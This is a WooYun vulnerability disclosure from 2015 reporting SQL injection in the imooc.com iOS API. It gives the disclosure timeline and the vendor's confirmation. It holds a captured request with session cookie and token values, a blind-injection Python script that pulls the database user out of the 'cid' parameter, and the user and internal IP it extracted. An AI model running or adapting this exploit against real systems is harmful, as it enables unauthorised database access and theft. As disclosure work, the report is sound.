当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098807

漏洞标题:慕课网IOS客户端SQL注入(附脚本)

相关厂商:imooc.com

漏洞作者: bey0nd

提交时间:2015-03-02 12:02

修复时间:2015-04-16 12:04

公开时间:2015-04-16 12:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商已经确认,细节仅向厂商公开
2015-03-13: 细节向核心白帽子及相关领域专家公开
2015-03-23: 细节向普通白帽子公开
2015-04-02: 细节向实习白帽子公开
2015-04-16: 细节向公众公开

简要描述:

在慕课网学了很多东西,非常感谢!

详细说明:

在iOS客户端点击某一个课程时,post请求如下

POST /api2/getmediainfo_ver2 HTTP/1.1
Host: www.imooc.com
Proxy-Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_f0cfcccd7b1393990c78efdeebff3968=1422177694,1422270828,1423793364; imooc_uuid=b6039279-4cc6-428f-ad66-56f09a49d833
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Language: zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5
Content-Length: 57
Connection: keep-alive
User-Agent: mukewang/2.3.01204 (iPhone; iOS 7.1.2; Scale/2.00)
cid=317&token=马赛克&uid=276845


其中cid存在注入
正常:

1.png


出错:

2.png


改了一下以前用Python写的小脚本

#coding=GBK
import urllib.request
import urllib.parse
import json
import string
url = "http://www.imooc.com/api2/getmediainfo_ver2"
values = "cid=317' and length(user())=26 and '1'='1&token=e1387d36a51959a9d68898f91a6f6b16&uid=276845"
payloads = list(string.ascii_lowercase)
payloads += list('@_.')
for i in range(0,10):
payloads.append(i)
result = ''
for count in range(1,27):
for payload in payloads:
values = "cid=317' and substr(user(),%s,1)='%s' and '1'='1&token=e1387d36a51959a9d68898f91a6f6b16&uid=276845" % (count,payload)
#print('SQL PAYLOAD : ' + values)
data= values.encode('utf-8')
req = urllib.request.Request(url,data)
req.add_header('User-Agent','mukewang/2.3.01204 (iPhone; iOS 7.1.2; Scale/2.00)')
req.add_header('Accept-Language','zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5')
req.add_header('Cookie','Hm_lvt_f0cfcccd7b1393990c78efdeebff3968=1422177694,1422270828,1423793364; imooc_uuid=b6039279-4cc6-428f-ad66-56f09a49d833')
req.add_header('Connection', 'keep-alive')
req.add_header('Accept-Encoding','gzip, deflate')
req.add_header('Proxy-Connection','keep-alive')
req.add_header('Accept','*/*')
req.add_header('Content-Type','application/x-www-form-urlencoded; charset=utf-8')
response = urllib.request.urlopen(req)
html = response.read().decode('utf-8')
if len(html)==620:
result += payload
print("DOING. result: " + result)
print('-----------------------------')
print("Done! Current user : "+result)


获取当前用户为:

proxy_course@10.100.16.177


用sqlmap跑一下

3.png


漏洞证明:

proxy_course@10.100.16.177


3.png

修复方案:

过滤下

版权声明:转载请注明来源 bey0nd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-03-03 15:24

厂商回复:

感谢白帽子同学的测试。已经确认,并将尽快修复中。

最新状态:

暂无